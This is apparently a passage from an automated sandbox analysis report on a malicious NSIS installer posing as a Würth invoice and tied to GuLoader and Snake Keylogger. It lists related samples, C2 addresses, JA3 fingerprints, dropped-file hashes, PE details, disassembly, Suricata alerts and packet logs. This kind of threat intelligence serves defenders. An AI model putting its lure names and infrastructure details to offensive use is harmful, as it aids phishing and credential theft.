	DHL AWB - COMMERCIAL INVOICE AND BL.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
	lclQ5c10x1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	New Order_Purchase_202401017.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	taskhostws.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	PO-94858.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	wethinkaboutthegreatsolutionforgreat.hta	Get hash	malicious	Cobalt Strike, Snake Keylogger	Browse	132.226.247.73
	ACCOUNTXSTATEMENT.xls	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	SecuriteInfo.com.Win32.PWSX-gen.2892.1397.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
CLOUDFLARENETUS	https://www.canva.com/design/DAGT2vOBNY8/p-tSk-DRXUJ7qPwl8mMJiw/view?utm_content=DAGT2vOBNY8&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	104.16.103.112
	NEW CUSTOMER ORDER.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	grA6aqodO5.exe	Get hash	malicious	Python Stealer, CStealer	Browse	104.26.3.16
	NdEIhUToOm.exe	Get hash	malicious	Exela Stealer, Python Stealer	Browse	162.159.134.233
	bB0yJfzf0t.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	bK1W9BJ1c1.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	KIDy5J5su4.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	F1NlcL6Ly7.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	tQ6Z4Vjp5f.lnk	Get hash	malicious	LummaC	Browse	104.21.76.93
	cVkciJDZO4.lnk	Get hash	malicious	LummaC	Browse	172.67.144.227

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	NEW CUSTOMER ORDER.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	KIDy5J5su4.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Supplier RFQ ID 365242213q___________________________pdf.exe	Get hash	malicious	Snake Keylogger, XRed	Browse	188.114.96.3
	v8AZ8ANS6a.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	DHL AWB - COMMERCIAL INVOICE AND BL.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	Dekont-20241017-1100.00EFT-18901459.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	Justificante de pago.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	RFQ-KTE-07102024.pdf.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Request for Q uotation.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	BON 521264.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
3b5074b1b5d032e5620f69f9f700ff0e	https://docsend.com/view/63jvhxyyj7pwxerg	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	149.154.167.220
	Full-Report-RichardP-EBI-Consulting-11-16-2023.html	Get hash	malicious	Unknown	Browse	149.154.167.220
	KIDy5J5su4.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	tQ6Z4Vjp5f.lnk	Get hash	malicious	LummaC	Browse	149.154.167.220
	cVkciJDZO4.lnk	Get hash	malicious	LummaC	Browse	149.154.167.220
	KruMekRUG5.lnk	Get hash	malicious	LummaC	Browse	149.154.167.220
	#U8a02#U55ae#U63cf#U8ff0.vbs	Get hash	malicious	FormBook	Browse	149.154.167.220
	https://eos.atebasyno.com/Jed4ZO4/#Kinfo@pickprotection.com	Get hash	malicious	Unknown	Browse	149.154.167.220
	Supplier RFQ ID 365242213q___________________________pdf.exe	Get hash	malicious	Snake Keylogger, XRed	Browse	149.154.167.220
	SecuriteInfo.com.Win32.MalwareX-gen.3620.22364.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	JVxDWS9r3H.msi	Get hash	malicious	Matanbuchus	Browse	142.250.185.206 216.58.206.65
	YM10RsQfhm.msi	Get hash	malicious	Matanbuchus	Browse	142.250.185.206 216.58.206.65
	ZBx6JVTuHM.lnk	Get hash	malicious	Unknown	Browse	142.250.185.206 216.58.206.65
	tQ6Z4Vjp5f.lnk	Get hash	malicious	LummaC	Browse	142.250.185.206 216.58.206.65
	cVkciJDZO4.lnk	Get hash	malicious	LummaC	Browse	142.250.185.206 216.58.206.65
	KruMekRUG5.lnk	Get hash	malicious	LummaC	Browse	142.250.185.206 216.58.206.65
	Supplier RFQ ID 365242213q___________________________pdf.exe	Get hash	malicious	Snake Keylogger, XRed	Browse	142.250.185.206 216.58.206.65
	Gwi08LA9Q3.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	142.250.185.206 216.58.206.65
	SKM_0001810-01-2024-GL-3762.bat	Get hash	malicious	Remcos, GuLoader	Browse	142.250.185.206 216.58.206.65
	Potwierdzenie.exe	Get hash	malicious	GuLoader	Browse	142.250.185.206 216.58.206.65

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsf6188.tmp\System.dll	eXiJWkp8OE.exe	Get hash	malicious	GuLoader	Browse
	eXiJWkp8OE.exe	Get hash	malicious	GuLoader	Browse
	unexpressiveness.exe	Get hash	malicious	FormBook, GuLoader	Browse
	unexpressiveness.exe	Get hash	malicious	GuLoader	Browse
	Ballahoo.exe	Get hash	malicious	FormBook, GuLoader	Browse
	Ballahoo.exe	Get hash	malicious	GuLoader	Browse
	dhl_awb_shipping_invoice_21_05_2024_000000000000024.exe	Get hash	malicious	GuLoader, Remcos	Browse
	dhl_awb_shipping_invoice_21_05_2024_000000000000024.exe	Get hash	malicious	GuLoader	Browse
	Forligsmnd.exe	Get hash	malicious	FormBook, GuLoader	Browse
	Forligsmnd.exe	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsf6188.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\Wuerth_factura_4052073226..exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.656060535507129
Encrypted:	false
SSDEEP:	192:eS24sihno00Wfl97nH6T2enXwWobpWBTU4VtHT7dmN35OloSl:S8QIl975eXqlWBrz7YLOlo
MD5:	FC3772787EB239EF4D0399680DCC4343
SHA1:	DB2FA99EC967178CD8057A14A428A8439A961A73
SHA-256:	9B93C61C9D63EF8EC80892CC0E4A0877966DCA9B0C3EB85555CEBD2DDF4D6EED
SHA-512:	79E491CA4591A5DA70116114B7FBB66EE15A0532386035E980C9DFE7AFB59B1F9D9C758891E25BFB45C36B07AFD3E171BAC37A86C887387EF0E80B1EAF296C89
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: eXiJWkp8OE.exe, Detection: malicious, Browse Filename: eXiJWkp8OE.exe, Detection: malicious, Browse Filename: unexpressiveness.exe, Detection: malicious, Browse Filename: unexpressiveness.exe, Detection: malicious, Browse Filename: Ballahoo.exe, Detection: malicious, Browse Filename: Ballahoo.exe, Detection: malicious, Browse Filename: dhl_awb_shipping_invoice_21_05_2024_000000000000024.exe, Detection: malicious, Browse Filename: dhl_awb_shipping_invoice_21_05_2024_000000000000024.exe, Detection: malicious, Browse Filename: Forligsmnd.exe, Detection: malicious, Browse Filename: Forligsmnd.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L....{.W...........!..... ...........'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..S....0.......$..............@..@.data...x....@.......(..............@....reloc..b....P.......*..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Sympodia\broletto\Imminute.dro

Download File

Process:	C:\Users\user\Desktop\Wuerth_factura_4052073226..exe
File Type:	data
Category:	dropped
Size (bytes):	207620
Entropy (8bit):	4.946632445187375
Encrypted:	false
SSDEEP:	3072:CTGpbg/BmM1QgPeK2wpHAwq1BRL8vFOSmdsWtW39LzvSA2Lp/WwcjunAjXod:CTCgEM1YwZAwqT18vseVh2LZXcjuATod
MD5:	7B16E53394F4F4FFD0E7C35379A2293E
SHA1:	29FE76B48F47EE6530307BE96E90948ADF7CF76E
SHA-256:	792F317BC4AF8FB6D76C7BC475FD8E1929F9D8B165593773581BE266A51944DB
SHA-512:	72529E6CF043721B7C91E85A1D74B8AE833F90B4CCFDB781B87D6208C2DE315633F94693A601AEFE130182D4A3964961D4C0597EB575A04C7D293E1CF3C87285
Malicious:	false
Reputation:	low
Preview:	..........8.../......n/...........u...E..........m......].....\.....k..G..P.....6.+.?......6.3!........xy..J.......w:...........%...._....-....)x.b.....w............g..X..z.....o...+........<......L......J..........4Vd..U..'.P....&..BQ.._.........C7....s....+......z...+.J..............P4..Z..N.)3........)..[W.L}.......Z..0.....c......D.........Y....1..'..`.........O......M..]$............}.ms...........'&.Q....=.)...@...`.X...a........kE3..............4...................v...zW........_.........,.........l.9....u.J........~....N......{K.n..........A.......I.....%......^.................a_.6^.\............M...(6.......H=......1......Q....H.z.]....y.A;.U5.~......!......@....C....].......M....o....K.F.....&....(...i....g....H.%........x.......$...x.\|C...+.....4....e........T)l.....5.....r................P...........J*.....:.}...............P......"........ti...X ....:...P..I.5.!...C....?..........._}......../....H.. ...................GR].H.2!................ ........d........

C:\Users\user\Sympodia\broletto\Kbenhavnerbegivenhed\theravada.txt

Download File

Process:	C:\Users\user\Desktop\Wuerth_factura_4052073226..exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	437
Entropy (8bit):	4.221933740198475
Encrypted:	false
SSDEEP:	12:/E5Xf7HmFD+SrvBEXBlO281OKdjZ7BUxptJ:/EdfzMZvBEXHLQdjZ7BUxp7
MD5:	D66DB73C5F70ECF9E205628181597125
SHA1:	113334F1957B7257E1E13F193CF6B8CBBD86528E
SHA-256:	A67ABB08865A81C6DF7F7F8368C51C3E67D1C2BC5C9DE1BC547681E3BAA4B417
SHA-512:	0E1DF58D9137CE5D3BAFAA3C45A2674EC475878155CC1E434C50652597EFE01E6814F8CF9FA3688B36C538B4B447050DBA06276C977AEBB8C4FFD92B232B91CA
Malicious:	false
Reputation:	low
Preview:	ekstemporere concept spragledes spatie biennaler klemmendes sekvensnummers..multimillionrerne diakonhjskoler unreligious branchiobdella sypigerne senarii storkunderne supprise forskelsstemplendes considerably prster downlier..prefills unsectionalised indtjeningsbidraget.dematerialiseredes solly kommunistisk.lateness determineringer tlleapparaters bothies havfiskerne,nonsurvivor confection sofabords urosignaler prototypeteknik mathea,

C:\Users\user\Sympodia\broletto\Orfgild.Sub

Download File

Process:	C:\Users\user\Desktop\Wuerth_factura_4052073226..exe
File Type:	data
Category:	dropped
Size (bytes):	267001
Entropy (8bit):	7.696642947433689
Encrypted:	false
SSDEEP:	6144:PCknF5TU1Y+SBnlxsM4/SkyD3HJTan9xBTcrfE8:VFpUG+SBnlAqka8U/
MD5:	9D64D16EE047BFAC69F3B2FACE04A73B
SHA1:	273A1C62B1A1C0AC3E91F28D7BE0D1C43378B132
SHA-256:	BC409E1EDE84E5868C06A2B73E3ECE79FBF72E61E004CD84A598D20D0A6DE432
SHA-512:	0994EADBE24EAC5660D478D50445DE0A5867C98962C16E7B248DA41A63F79ED0C7F36FB5358668AD0F37B90B499890DEAF7CA3E339EDD057CA5C6E4C996E7EAD
Malicious:	false
Reputation:	low
Preview:	...................>.....#...................................ww.j..u......................E...........Q......./...`....d..~.....=.......uu......11....bbb.......===.............GGGG.H......E.............x..........J...e...OO...z..................(((.......y...3.uuuu..t................)).E................j............................AAA.........t.......\............y..........t.H.....................b.......................a.u.....u..==.............................a.;..:........cccc.$..........vvvv.<.............ii.......................####.6............ggggg...n....gg........y...)))))...... .)))))))))))))))......%%........W......66.UUUU............$.........66....p.....O..............D........ww........>..................S.AAAAAA.ii.44........y..........b..........8...].K......................4.....h..((................PP.....B......AA......jj...4...................II.o......P..............KK......P......p.1...hh............H.........0.....q.t......>...............8...................

C:\Users\user\Sympodia\broletto\antagonister.kid

Download File

Process:	C:\Users\user\Desktop\Wuerth_factura_4052073226..exe
File Type:	data
Category:	dropped
Size (bytes):	305019
Entropy (8bit):	4.949781373730556
Encrypted:	false
SSDEEP:	6144:eFJ4awIARNAzNCi1dhbiuMhsnxpWl6nhf31Sx4Kq:24Cs8NJpWl6FR
MD5:	58126CECCD4050BCE5859F67637DE1EE
SHA1:	A130A906A246F985EA0BE292121D15C4648CDCFD
SHA-256:	670B812EAAE8E8B967956CE5ADE35427586B14360387B38431CDCC34127AF394
SHA-512:	4AD589D8804DB4D645AA9B3C010F357B76964ED5F76BCEE3029E9BE09BE6DA2C73A07B5F87B26A1D7061D02F0AF0593CDCAAB3129BF9B336E8DB38DF55BB2E96
Malicious:	false
Reputation:	low
Preview:	...L....\|......<......E...H........b.:.......o)...A.H.}G....l.@.'....0...............W....v.<. (...,..-..'......8...>...'.1.Oe.........i.#...9...e....s...V.Z..$...}.......z........D.}......G..u..L.{........:.s.........(k.)@.....6...A........I.b......'.5...0............J...;...7....!.o.4..........;...?....8.}.C.....)t.._.....2.....[...l......IM.......... .i.<..?....<..$.S.=..X........8..{...N..1V..L.......v....T...............E3.q..N......&..9....._.......t....2....d.........@......j............ .....e.X8.OV............L..................X.G.n............\!.....k...j..0.........7......................................z................q........=....t................I.........a...R...`.......z."............Q6.B...b..k0...."......\L........b..........A.........l..,.....gO......x%..I...8K.........n..................G......8..................lt...Z.0V...\..........m.....!...@.:.Z.7.:...........+.....Y.........s`..)....y.......`......-.....#......\|.......O...z....M........5j..%.....

C:\Users\user\Sympodia\broletto\magtpolitiske.ret

Download File

Process:	C:\Users\user\Desktop\Wuerth_factura_4052073226..exe
File Type:	data
Category:	dropped
Size (bytes):	458888
Entropy (8bit):	4.944223839948125
Encrypted:	false
SSDEEP:	12288:NrD+aAiLaNSLFBa9eBrl9CLb++kCxHw7u:NmadZBcCliDxb
MD5:	CD2DF99412676A25675042D7DCB85703
SHA1:	D46F497C4784B4F7CB53221943ADE9EBA9517191
SHA-256:	E20FFB018B127D728280C6CA25C03A6899283A1FE0851756BB5F41B65C63753F
SHA-512:	3D0139C9440CD8384C512EB7C0F59F22B002A6AB73B600E8738A17FAEF173D9AA23FE47E5C017299974E7739081686636BD307747A601CB1341A73EF7AFB43F8
Malicious:	false
Reputation:	low
Preview:	..?......z.......... ..s..v....gb6t...9...`......qR....E..............l.f.[.'t...~.....................x.......Y..........0................x...j.....w..!.........n..........7f......P..L......g.?&.....#gT...I...v........'.j...................~..................l.P......?...;....;?..$...F...............u..................e............].8...o......`......o......$..<8.......c2..1...=..z.....y..[..........;.m....o...T>...>.....AQ..............?............!.....2X...................#.......Z...............$.......Q.!.....].<.D`b..T.....0.Y./....F..z................;.J.v..........~N..e...........R\..3.@...N.L.... ............o.l.........z....>.....g..kpa....1.c...F.s....I.,.........r3............7..9.......}........W.....J..B...........+................._....P..........i..~..................=.............sv.L..*.DOd.....7............G..m../..`....H......%o.....$).....$.[........mO.....Y......k...H........gX...........7.............2.^.T.Vw...ro4..B....j.m........}........

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.916752883833035
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Wuerth_factura_4052073226..exe
File size:	1'085'283 bytes
MD5:	787041cd8d6cd5e63534d1b060889a76
SHA1:	82da83771130fbe29d2443635757c3cf5c3949c6
SHA256:	4447fbf1066bc4f640abff84fcac04d0c86664f9823410348a36c280ac80e26d
SHA512:	76c61133334a5c0658a166bf2cbe4d737eb24bd17089622e5ee083b730a7f06d40d4346957890268a94cc7daf7eafe3da3918e4adadf710faca9a7ead36f4330
SSDEEP:	24576:4l4OsRyZEyJ2zgsJVXRMpYHpiLNutFYTYdk6Tc3:m4O/qyEcwKpDE+YdVTc3
TLSH:	D7351262F618AD80F021B1BA03735AD4D9D88C625667C13DE56B7B7747FA3421A0F33A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!@G.@...@...@../Oq..@...@/.J@../Os..@...c...@..+F(..@..Rich.@..........PE..L....{.W.................b....:.....}2............@

File Icon


Icon Hash:	4555617171ce332b

Static PE Info

General

Entrypoint:	0x40327d
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x57807BBD [Sat Jul 9 04:21:17 2016 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	e2a592076b17ef8bfb48b7e03965a3fc

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A2E0h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080B0h]
call dword ptr [004080ACh]
cmp ax, 00000006h
je 00007F13D4C7F393h
push ebx
call 00007F13D4C824D4h
cmp eax, ebx
je 00007F13D4C7F389h
push 00000C00h
call eax
mov esi, 004082B8h
push esi
call 00007F13D4C8244Eh
push esi
call dword ptr [0040815Ch]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007F13D4C7F36Ch
push ebp
push 00000009h
call 00007F13D4C824A6h
push 00000007h
call 00007F13D4C8249Fh
mov dword ptr [007A8A24h], eax
call dword ptr [0040803Ch]
push ebx
call dword ptr [004082A4h]
mov dword ptr [007A8AD8h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 0079FEE0h
call dword ptr [00408188h]
push 0040A2C8h
push 007A7A20h
call 00007F13D4C82088h
call dword ptr [004080A8h]
mov ebp, 007B3000h
push eax
push ebp
call 00007F13D4C82076h
push ebx
call dword ptr [00408174h]
add word ptr [eax], 0000h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8504	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3cd000	0x19010	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b4	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6154	0x6200	bde81925c04b8b13a9c5dc11c6cbba5f	False	0.6732700892857143	data	6.479248571798096	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x13a4	0x1400	2fd23f25ba6d052f3a4f032544496f73	False	0.453125	data	5.162313935974215	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x39eb18	0x600	769652d049c5b87df2f7a3908b2269c6	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x3a9000	0x24000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3cd000	0x19010	0x19200	bec5dd8ce2a7b3e58db83d1f7c570ee8	False	0.2740108053482587	data	5.987224279680819	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x3cd2f8	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.10978350881343901
RT_ICON	0x3ddb20	0x3826	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9819117851676639
RT_ICON	0x3e1348	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.23226141078838175
RT_ICON	0x3e38f0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.275328330206379
RT_ICON	0x3e4998	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.3704918032786885
RT_ICON	0x3e5320	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.4441489361702128
RT_DIALOG	0x3e5788	0x100	data	English	United States	0.5234375
RT_DIALOG	0x3e5888	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x3e59a8	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x3e5a70	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x3e5ad0	0x5a	data	English	United States	0.7888888888888889
RT_VERSION	0x3e5b30	0x1a0	data	English	United States	0.5673076923076923
RT_MANIFEST	0x3e5cd0	0x340	XML 1.0 document, ASCII text, with very long lines (832), with no line terminators	English	United States	0.5540865384615384

Imports

DLL	Import
KERNEL32.dll	SetCurrentDirectoryW, GetFileAttributesW, GetFullPathNameW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, MoveFileW, SetFileAttributesW, GetCurrentProcess, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, WaitForSingleObject, CopyFileW, CompareFileTime, GlobalLock, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, WriteFile, lstrcpyA, lstrcpyW, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GlobalFree, GlobalAlloc, GetShortPathNameW, SearchPathW, lstrcmpiW, SetFileTime, CloseHandle, ExpandEnvironmentStringsW, lstrcmpW, GlobalUnlock, lstrcpynW, GetDiskFreeSpaceW, GetExitCodeProcess, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, MulDiv, MultiByteToWideChar, lstrlenA, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, IsWindowEnabled, EnableMenuItem, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, wsprintfW, ScreenToClient, GetWindowRect, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, LoadImageW, SetTimer, SetWindowTextW, PostQuitMessage, ShowWindow, GetDlgItem, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, DrawTextW, EndPaint, CreateDialogParamW, SendMessageTimeoutW, SetForegroundWindow
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW
ADVAPI32.dll	RegDeleteKeyW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, AdjustTokenPrivileges, RegOpenKeyExW, RegEnumValueW, RegDeleteValueW, RegCloseKey, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-18T15:05:08.522734+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49967	132.226.8.169	80	TCP
2024-10-18T15:05:10.100838+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49967	132.226.8.169	80	TCP
2024-10-18T15:05:10.826742+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49981	188.114.96.3	443	TCP
2024-10-18T15:05:11.772839+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49982	132.226.8.169	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 18, 2024 15:04:58.177197933 CEST	49927	443	192.168.2.5	142.250.185.206
Oct 18, 2024 15:04:58.177253962 CEST	443	49927	142.250.185.206	192.168.2.5
Oct 18, 2024 15:04:58.177349091 CEST	49927	443	192.168.2.5	142.250.185.206
Oct 18, 2024 15:04:58.187114000 CEST	49927	443	192.168.2.5	142.250.185.206
Oct 18, 2024 15:04:58.187144995 CEST	443	49927	142.250.185.206	192.168.2.5
Oct 18, 2024 15:04:59.041354895 CEST	443	49927	142.250.185.206	192.168.2.5
Oct 18, 2024 15:04:59.041443110 CEST	49927	443	192.168.2.5	142.250.185.206
Oct 18, 2024 15:04:59.042007923 CEST	443	49927	142.250.185.206	192.168.2.5
Oct 18, 2024 15:04:59.042067051 CEST	49927	443	192.168.2.5	142.250.185.206
Oct 18, 2024 15:04:59.133265018 CEST	49927	443	192.168.2.5	142.250.185.206
Oct 18, 2024 15:04:59.133306980 CEST	443	49927	142.250.185.206	192.168.2.5
Oct 18, 2024 15:04:59.133586884 CEST	443	49927	142.250.185.206	192.168.2.5
Oct 18, 2024 15:04:59.133657932 CEST	49927	443	192.168.2.5	142.250.185.206
Oct 18, 2024 15:04:59.136466980 CEST	49927	443	192.168.2.5	142.250.185.206
Oct 18, 2024 15:04:59.179433107 CEST	443	49927	142.250.185.206	192.168.2.5
Oct 18, 2024 15:04:59.663057089 CEST	443	49927	142.250.185.206	192.168.2.5
Oct 18, 2024 15:04:59.663269043 CEST	49927	443	192.168.2.5	142.250.185.206
Oct 18, 2024 15:04:59.663532972 CEST	49927	443	192.168.2.5	142.250.185.206
Oct 18, 2024 15:04:59.663585901 CEST	443	49927	142.250.185.206	192.168.2.5
Oct 18, 2024 15:04:59.663650990 CEST	49927	443	192.168.2.5	142.250.185.206
Oct 18, 2024 15:04:59.684940100 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:04:59.685000896 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:04:59.685086966 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:04:59.685410023 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:04:59.685429096 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:00.555191994 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:00.555394888 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:00.632838011 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:00.632869959 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:00.633182049 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:00.633819103 CEST	49937	443	192.168.2.5	216.58.206.65
